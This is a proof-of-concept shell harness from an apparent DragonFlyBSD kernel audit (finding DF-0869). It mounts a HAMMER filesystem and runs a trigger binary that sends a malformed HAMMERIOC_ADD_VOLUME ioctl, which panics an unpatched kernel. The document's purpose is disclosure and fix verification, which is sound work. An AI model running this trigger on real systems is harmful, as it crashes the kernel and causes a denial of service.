DragonFlyBSD Kernel Audit
DF-0869 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0869 PoC harness.
#
# Sets up a base HAMMER filesystem (root volume), mounts it, then issues
# HAMMERIOC_ADD_VOLUME with bogus boot_area_size / vol_size to drive the
# missing-bounds-validation bug in hammer_format_volume_header
# (hammer_volume.c:617-671) -> KKASSERT panic in hammer_format_freemap
# at hammer_volume.c:407.
#
# MUST run as root: HAMMERIOC_ADD_VOLUME requires caps_priv_check
# (hammer_ioctl.c:197).  The threat model is root->kernel DoS via a
# hand-crafted ioctl, NOT an unprivileged->root escalation.
#
# Expected on the unpatched #0 kernel (INVARIANTS on):
#   guest dies mid-syscall; panic signature in /home/maxx/dfbsd/dfbsd/dfbsd-qemu/boot.log:
#     Fatal trap ...
#     kernel: panic: ...hammer_format_freemap
#     Stopped at ...
#   This script's last printed line before the drop is "[*] issuing
#   HAMMERIOC_ADD_VOLUME ...".
#
# Expected on the patched kernel (fix.diff applied):
#   trigger returns promptly: "ioctl returned -1 (errno=22 'Invalid argument')"
#   with a dmesg line "hammer: rejecting insane volume geometry ..."; the
#   guest stays up.
#
set -e
cd "$(dirname "$0")"

MP=${1:-/mnt/df0869}
ROOTIMG=/root/df0869/root.img
NEWVOL=/root/df0869/newvol.img

# 1. Prepare a base HAMMER filesystem as the root volume.
rm -rf /root/df0869
mkdir -p /root/df0869 "$MP"
truncate -s 2G "$ROOTIMG"
vnconfig -c vn1 "$ROOTIMG"
newfs_hammer -fL df0869 /dev/vn1 >/dev/null
mount_hammer /dev/vn1 "$MP"
echo "[+] mounted base HAMMER fs at $MP"

# 2. Create the file we'll try to add as a second volume, then vnconfig
#    it so vn_isdisk() inside hammer_install_volume accepts it.  The file
#    needs a non-zero size for vn_isdisk() to recognise it as a disk --
#    we use 1 GiB (any small size works), and crucially the kernel never
#    validates ioc->vol_size against the real device size, so a 1 GiB
#    backing file happily "advertises" 2^49 bytes of buffer area.
truncate -s 1G "$NEWVOL"
vnconfig -c vn2 "$NEWVOL"
echo "[+] new-volume vnode: /dev/vn2 -> $NEWVOL ($(stat -f %z "$NEWVOL") bytes)"

# 3. Fire the trigger against /dev/vn2.  This is the bug path; on the
#    unpatched kernel the guest will panic right here.
./trigger "$MP" /dev/vn2
RC=$?

# 4. Cleanup (only reached on patched kernel or non-INVARIANTS build).
vnconfig -u vn2 2>/dev/null || true
umount "$MP" 2>/dev/null || true
vnconfig -u vn1 2>/dev/null || true
exit $RC